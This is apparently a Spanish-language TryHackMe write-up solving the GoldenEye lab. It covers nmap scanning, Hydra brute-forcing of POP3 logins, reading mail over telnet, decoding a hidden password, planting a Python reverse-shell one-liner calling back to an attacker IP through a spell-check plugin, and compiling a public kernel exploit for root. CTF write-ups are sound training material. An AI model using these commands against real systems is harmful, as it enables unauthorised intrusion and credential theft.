TryHackMe - GoldenEye (Ojo dorado)
Búsqueda muy agotadora de una bandera a través de sitios web y complementos
Introducción
Bien, esto fue calificado como Medium y razonablemente así, tuve muchas dificultades pero también aprendí mucho.
Tarea 1
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
nmap -T4 -n -sC -sV -Pn -p- 10.10.177.35
PORT STATE SERVICE VERSION
25/tcp open smtp Postfix smtpd
|_smtp-commands: ubuntu, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ubuntu
| Not valid before: 2018-04-24T03:22:34
|_Not valid after: 2028-04-21T03:22:34
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: GoldenEye Primary Admin Server
55006/tcp open ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
|_pop3-capabilities: USER SASL(PLAIN) TOP PIPELINING AUTH-RESP-CODE UIDL RESP-CODES CAPA
55007/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: TOP RESP-CODES SASL(PLAIN) STLS CAPA AUTH-RESP-CODE UIDL PIPELINING USER
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2018-04-24T03:23:52
|_Not valid after: 2028-04-23T03:23:52
Pregunta: Utilice nmap para escanear la red en busca de todos los puertos. ¿Cuántos puertos están abiertos?
Respuesta:
1
4
Visitemos el sitio web 10.10.177.35:80
Podemos ver algunas contraseñas codificadas en el código fuente de terminal.js
Parece estar codificado en HTML
Pregunta: ¿Quién debe asegurarse de actualizar su contraseña predeterminada?
Respuesta:
1
boris
Pregunta: ¿Cuál es su contraseña?
Respuesta:
1
<CENSORED>
Hemos logrado iniciar sesión con esas credenciales.
Tarea 2
Vamos a encontrar la contraseña para pop3
1
$ hydra -l boris -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3
Pregunta: ¿Quizás Hydra? ¿Cuál es su nueva contraseña?
Respuesta:
1
se<CENSORED>
1
2
3
4
5
6
7
8
9
$ telnet 10.10.177.35 55007
Trying 10.10.177.35...
Connected to 10.10.177.35.
Escape character is '^]'.
+OK GoldenEye POP3 Electronic-Mail System
USER boris
+OK
PASS <CENSORED>
+OK Logged in.
Ahora podemos listar los correos electrónicos usando los comandos RETR 1
, 2
y 3
1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 1
+OK 544 octets
Return-Path: <root@127.0.0.1.goldeneye>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with SMTP id D9E47454B1
for <boris>; Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
Message-Id: <20180425022326.D9E47454B1@ubuntu>
Date: Tue, 2 Apr 1990 19:22:14 -0700 (PDT)
From: root@127.0.0.1.goldeneye
Boris, this is admin. You can electronically communicate to co-workers and students here. I'm not going to scan emails for security risks because I trust you and the other admins here.
1
2
3
4
5
6
7
8
9
10
11
12
13
RETR 2
+OK 373 octets
Return-Path: <natalya@ubuntu>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from ok (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id C3F2B454B1
for <boris>; Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
Message-Id: <20180425024249.C3F2B454B1@ubuntu>
Date: Tue, 21 Apr 1995 19:42:35 -0700 (PDT)
From: natalya@ubuntu
Boris, I can break your codes!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
RETR 3
+OK 921 octets
Return-Path: <alec@janus.boss>
X-Original-To: boris
Delivered-To: boris@ubuntu
Received: from janus (localhost [127.0.0.1])
by ubuntu (Postfix) with ESMTP id 4B9F4454B1
for <boris>; Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
Message-Id: <20180425025235.4B9F4454B1@ubuntu>
Date: Wed, 22 Apr 1995 19:51:48 -0700 (PDT)
From: alec@janus.boss
Boris,
Your cooperation with our syndicate will pay off big. Attached are the final access codes for GoldenEye. Place them in a hidden file within the root directory of this server then remove from this email. There can only be one set of these acces codes, and we need to secure them for the final execution. If they are retrieved and captured our plan will crash and burn!
Once Xenia gets access to the training site and becomes familiar with the GoldenEye Terminal codes we will push to our final stages....
PS - Keep security tight or we will be compromised.
No hay nada interesante aquí, pero tenemos más nombres de usuario y podemos intentar forzarlos.
1
$ hydra -l natalya -P /usr/share/wordlists/rockyou.txt -t20 10.10.177.35 -s 55007 -I pop3
Pregunta: Inspeccione el puerto 55007. ¿Qué servicios están configurados para utilizar este puerto?
Respuesta:
1
telnet
Pregunta: ¿Qué puedes encontrar en este servicio?
Respuesta:
1
emails
Pregunta: ¿Qué usuario puede descifrar los códigos de Boris?
Respuesta:
1
natalya
Tarea 3
Agreguemos severnaya-station.com
a nuestro archivo /etc/hosts
1
2
sudo nano /etc/hosts
10.10.177.35 severnaya-station.com
Visitemos severnaya-station.com/gnocertdir
Podemos ver el formulario de inicio de sesión, luego de algunos intentos podemos usar las credenciales de Xenia
Echemos un vistazo y encontraremos otro usuario dr_doak
Al forzar la contraseña podemos iniciar sesión como Dr Doak y en los archivos privados podemos ver s3cret.txt
1
2
3
4
5
6
7
8
9
10
└─$ cat s3cret.txt
007,
I was able to capture this apps adm1n cr3ds through clear txt.
Text throughout most web apps within the GoldenEye servers are scanned, so I cannot add the cr3dentials here.
Something juicy is located here: /dir007key/for-007.jpg
Also as you may know, the RCP-90 is vastly superior to any other weapon and License to Kill is the only way to play.
Descarguemos el archivo y echémosle un vistazo.
1
2
$ wget 10.10.177.35/dir007key/for-007.jpg
exiftool for-007.jpg
Y tenemos la cadena codificada en base64
1
2
└─$ echo <OUR STRING FROM FILE> | base64 -d
<PASSWORD>
Entonces podemos iniciar sesión como administrador ya que tenemos credenciales
Tarea 4
No tengo mucha idea, así que estoy usando una pista del sitio web tryhackme
SUGERENCIA: Echa un vistazo a Aspell, el complemento de corrección ortográfica
Vamos a comprobarlo y parece que tenemos algo en lo que poner el shell inverso
1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.11.75.122",1337)
No funciona.
Después de poner el código allí, tenemos que agregar una nueva entrada y luego activar el complemento de corrección ortográfica. Al hacerlo, se activará el código y recibiremos una conexión de shell inversa.
Pregunta: ¿Cuál es la versión del kernel?
Respuesta:
1
3.13.0-32-generic
Para obtener la última bandera, se recomienda utilizar https://www.exploit-db.com/exploits/37292
Vamos a descargarlo y a ajustarlo a nuestras necesidades Después de entrar en la máquina, debemos compilarlo
1
2
$ cc exploit.c -o exploit
./exploit
1
2
cat /root/.flag.txt
<CENSORED>